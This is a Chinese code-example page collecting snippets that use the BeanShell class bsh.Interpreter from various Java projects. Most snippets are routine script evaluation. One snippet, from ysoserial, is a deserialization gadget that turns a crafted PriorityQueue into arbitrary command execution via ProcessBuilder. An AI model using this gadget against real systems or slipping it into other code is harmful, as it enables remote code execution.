bsh.Interpreter类的使用及代码示例

x33g5p2x  于2022-01-21 转载在 其他  
字(10.9k)|赞(0)|评价(0)|浏览(802)

本文整理了Java中bsh.Interpreter类的一些代码示例,展示了Interpreter类的具体用法。这些代码示例主要来源于Github/Stackoverflow/Maven等平台,是从一些精选项目中提取出来的代码,具有较强的参考意义,能在一定程度帮忙到你。Interpreter类的具体详情如下:
包路径:bsh.Interpreter
类名称:Interpreter

Interpreter介绍

[英]The BeanShell script interpreter. An instance of Interpreter can be used to source scripts and evaluate statements or expressions.

Here are some examples:

Interpeter bsh = new Interpreter(); 
// Evaluate statements and expressions 
bsh.eval("foo=Math.sin(0.5)"); 
bsh.eval("bar=foo*5; bar=Math.cos(bar);"); 
bsh.eval("for(i=0; i

In the above examples we showed a single interpreter instance, however you may wish to use many instances, depending on the application and how you structure your scripts. Interpreter instances are very light weight to create, however if you are going to execute the same script repeatedly and require maximum performance you should consider scripting the code as a method and invoking the scripted method each time on the same interpreter instance (using eval()).

See the BeanShell User's Manual for more information.
[中]BeanShell脚本解释器。解释器实例可用于源脚本和计算语句或表达式。
以下是一些例子:

Interpeter bsh = new Interpreter(); 
// Evaluate statements and expressions 
bsh.eval("foo=Math.sin(0.5)"); 
bsh.eval("bar=foo*5; bar=Math.cos(bar);"); 
bsh.eval("for(i=0; i

在上面的示例中,我们展示了一个解释器实例,但是您可能希望使用多个实例,具体取决于应用程序和脚本的结构。解释器实例的创建非常轻量级,但是如果要重复执行相同的脚本并要求最大性能,则应考虑将代码脚本化为一种方法,并且每次调用相同的解释器实例(使用EVALUE())时调用脚本方法。
有关更多信息,请参阅BeanShell用户手册。

代码示例

代码示例来源:origin: stackoverflow.com

Interpreter interpreter = new Interpreter();
interpreter.eval("result = 5+4*(7-15)");
System.out.println(interpreter.get("result"));

代码示例来源:origin: spring-projects/spring-framework

@Override
@Nullable
public Object evaluate(ScriptSource script, @Nullable Map<String, Object> arguments) {
  try {
    Interpreter interpreter = new Interpreter();
    interpreter.setClassLoader(this.classLoader);
    if (arguments != null) {
      for (Map.Entry<String, Object> entry : arguments.entrySet()) {
        interpreter.set(entry.getKey(), entry.getValue());
      }
    }
    return interpreter.eval(new StringReader(script.getScriptAsString()));
  }
  catch (IOException ex) {
    throw new ScriptCompilationException(script, "Cannot access BeanShell script", ex);
  }
  catch (EvalError ex) {
    throw new ScriptCompilationException(script, ex);
  }
}

代码示例来源:origin: frohoff/ysoserial

public PriorityQueue getObject(String command) throws Exception {
// BeanShell payload
  String payload =
    "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
      Strings.join( // does not support spaces in quotes
        Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")),
        ",", "\"", "\"") +
      "}).start();return new Integer(1);}";
// Create Interpreter
Interpreter i = new Interpreter();
// Evaluate payload
i.eval(payload);
// Create InvocationHandler
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
// Create Comparator Proxy
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue;
}

代码示例来源:origin: spring-projects/spring-framework

/**
 * Evaluate the specified BeanShell script based on the given script source,
 * returning the Class defined by the script.
 * <p>The script may either declare a full class or return an actual instance of
 * the scripted object (in which case the Class of the object will be returned).
 * In any other case, the returned Class will be {@code null}.
 * @param scriptSource the script source text
 * @param classLoader the ClassLoader to use for evaluating the script
 * @return the scripted Java class, or {@code null} if none could be determined
 * @throws EvalError in case of BeanShell parsing failure
 */
@Nullable
static Class<?> determineBshObjectType(String scriptSource, @Nullable ClassLoader classLoader) throws EvalError {
  Assert.hasText(scriptSource, "Script source must not be empty");
  Interpreter interpreter = new Interpreter();
  if (classLoader != null) {
    interpreter.setClassLoader(classLoader);
  }
  Object result = interpreter.eval(scriptSource);
  if (result instanceof Class) {
    return (Class<?>) result;
  }
  else if (result != null) {
    return result.getClass();
  }
  else {
    return null;
  }
}

代码示例来源:origin: stackoverflow.com

import bsh.EvalError;
import bsh.Interpreter;

public class BeanShellInterpreter {

 public static void main(String[] args) throws EvalError {

  Interpreter i = new Interpreter();  // Construct an interpreter
  i.set("x", 5);
  // Eval a statement and get the result
  i.eval("eq1 = (-3.874999999999* Math.pow(x, 4.0) + 48.749999999993* Math.pow(x, 3.0))");
  System.out.println( i.get("eq1") );
 }
}

代码示例来源:origin: stackoverflow.com

String str = "";
Interpreter i = new Interpreter();
i.set("context", MainActivity.this);
Object res = i.eval("com.example.testucmbilebase.R.string.hello_world");
if(res != null) {
  Integer resI = (Integer)res;
  str = MainActivity.this.getResources().getString(resI);
}

代码示例来源:origin: jdmp/java-data-mining-package

public BshInterpreter() {
  interpreter = new Interpreter();
  try {
    interpreter.eval("import org.ujmp.*");
    interpreter.eval("import org.jdmp.*");
  } catch (EvalError e) {
    e.printStackTrace();
  }
}

代码示例来源:origin: com.bbossgroups.rpc/bboss-rpc

synchronized void createInterpreter() {
  // create interpreter just-in-time
  if(interpreter == null) {
    interpreter=new Interpreter();
    try {
      interpreter.set("bsh_prot", this);
    }
    catch(EvalError evalError) {
    }
  }
}

代码示例来源:origin: osmandapp/Osmand

public BeanShellTileSourceTemplate(String name, String urlToLoad, String ext,
    int maxZoom, int minZoom, int tileSize, int bitDensity, int avgSize) {
  super(name, urlToLoad, ext, maxZoom, minZoom, tileSize, bitDensity, avgSize);
  bshInterpreter = new Interpreter();
  try {
    bshInterpreter.eval(urlToLoad);
    bshInterpreter.getClassManager().setClassLoader(new ClassLoader() {
      @Override
      public URL getResource(String resName) {
        return null;
      }
      
      @Override
      public InputStream getResourceAsStream(String resName) {
        return null;
      }
      
      @Override
      public Class<?> loadClass(String className) throws ClassNotFoundException {
        throw new ClassNotFoundException("Error requesting " + className);
      }
    });
  } catch (bsh.EvalError e) {
    log.error("Error executing the map init script " + urlToLoad, e);
  }
}

代码示例来源:origin: jpos/jPOS-EE

private Interpreter initBSH () throws UtilEvalError, EvalError {
  Interpreter bsh = new Interpreter ();
  BshClassManager bcm = bsh.getClassManager();
  bcm.setClassPath(getServer().getLoader().getURLs());
  bcm.setClassLoader(getServer().getLoader());
  bsh.set  ("qbean", this);
  bsh.set  ("log", getLog());
  bsh.eval (getPersist().getChildTextTrim ("init"));
  return bsh;
}
private ISOMsg applyRequestProps (ISOMsg m, Interpreter bsh)

代码示例来源:origin: iipc/openwayback

public int filterObject(CaptureSearchResult o) {
  int result = FILTER_EXCLUDE;
  try {
    boolean bResult = false;
    Interpreter interpreter = getInterpreter();
    interpreter.set("result", o);
    if(expression != null) {
      bResult = (Boolean) interpreter.eval(expression);
    } else if(method != null) {
      bResult = (Boolean) interpreter.eval("matches(result)");
    } else if(scriptPath != null) {
      bResult = (Boolean) interpreter.eval("matches(result)");				
    }
    
    if(bResult) {
      result = FILTER_INCLUDE;
    }
    
  } catch (EvalError e) {
    e.printStackTrace();
  }
  return result;
}

代码示例来源:origin: stackoverflow.com

import bsh.Interpreter;
Interpreter interpreter = new Interpreter();
interpreter.set("a1", 2);
interpreter.set("b1", 3);
String equation = "Math.pow(a1,b1)";
Object checkIt = interpreter.eval(equation);
System.out.println(checkIt);

代码示例来源:origin: org.testng/testng

private void setContext(Interpreter interpreter, Method method, Map<String, String> groups, ITestNGMethod tm) {
 try {
  interpreter.set("method", method);
  interpreter.set("groups", groups);
  interpreter.set("testngMethod", tm);
 }
 catch(EvalError evalError) {
  throw new TestNGException("Cannot set BSH interpreter", evalError);
 }
}

代码示例来源:origin: org.apache.taverna.commonactivities/taverna-beanshell-activity

try {
  classLoader = findClassLoader(json, workflowRunID);
  interpreter.setClassLoader(classLoader);
} catch (RuntimeException rex) {
  String message = "Unable to obtain the classloader for Beanshell service";
      callback.getContext());
  inputName = sanatisePortName(inputName);
  interpreter.set(inputName, input);
interpreter.eval(json.get("script").asText());
  Object value = interpreter.get(name);
  if (value == null) {
    ErrorDocumentService errorDocService = referenceService
logger.error(e);
try {
  int lineNumber = e.getErrorLineNumber();

代码示例来源:origin: ch.epfl.bbp.nlp/bluima_scripting

/** Parses an AE defined on ONE line in inline java code (interpreted) */
private static void parseAEJava(String line,
    IteratorWithPrevious<String> it, Pipeline pipeline)
    throws ParseException {
  LOG.info("+-parsing line '{}'", line);
  Interpreter i = new Interpreter(); // Construct an interpreter
  // Eval a statement and get the result
  try {
    String script = line.replaceFirst("ae_java: ", "").trim();
    i.eval("aed = " + script + ";");
    AnalysisEngineDescription aed = (AnalysisEngineDescription) i
        .get("aed");
    pipeline.addAe(aed);
  } catch (EvalError e) {
    e.fillInStackTrace();
    throw new ParseException(
        "cannot compile and run 'ae_java' command, " + e.toString(),
        -1);
  }
}

代码示例来源:origin: jasperreports/jasperreports

/**
 *
 */
public JRBshEvaluator(String bshScript) throws JRException
{
  super();
  
  this.bshScript = bshScript;
  interpreter = new Interpreter();
  
  interpreter.setClassLoader(Thread.currentThread().getContextClassLoader());
  try
  {
    interpreter.eval(new StringReader(bshScript));
  }
  catch(EvalError e)
  {
    throw new JRException(
      "Error evaluating report expressions BeanShell script."
      + "\nMessage : " + e.getMessage() 
      + "\nLine " + e.getErrorLineNumber() + " : " + extractLineContent(e) 
      );
  }
}

代码示例来源:origin: stackoverflow.com

final Interpreter i = new Interpreter();
 try {
   Object res = i.eval("(24 + 3) < 4");
   System.out.println("Result is " + res);
 } catch (EvalError ex) {
   System.err.println("Error while evaluating expression: " + ex.getMessage());
 }

代码示例来源:origin: org.ofbiz/ofbcore-jira-share

interpreter = new Interpreter(new StringReader(""), System.out, System.err, 
      false, new NameSpace(master, "global"), null, null);
} else {
  interpreter = new Interpreter();
  interpreter.setClassLoader(classLoader);
  interpreter.set("bsf", mgr);
} catch (EvalError e) {
  throw new BSFException("bsh internal error: "+e.toString());

代码示例来源:origin: osmandapp/Osmand

@Override
public String getUrlToLoad(int x, int y, int zoom) {
  try {
    return (String) bshInterpreter.eval("getTileUrl("+zoom+","+x+","+y+");");
  } catch (bsh.EvalError e) {
    log.error(e.getMessage(), e);
    return null;
  }
}

代码示例来源:origin: jpos/jPOS

public Object inp (Object key) {
  try {
    Interpreter bsh = initInterpreter (key);
    bsh.set ("probe", true);
    synchronized (sp) {
      if (eval (bsh, inScript, inSource)) {
        return bsh.get ("value");
      } else {
        return sp.inp (key);
      }
    }
  } catch (Throwable t) {
    throw new SpaceError (t);
  }
}
public Object rdp (Object key) {

相关文章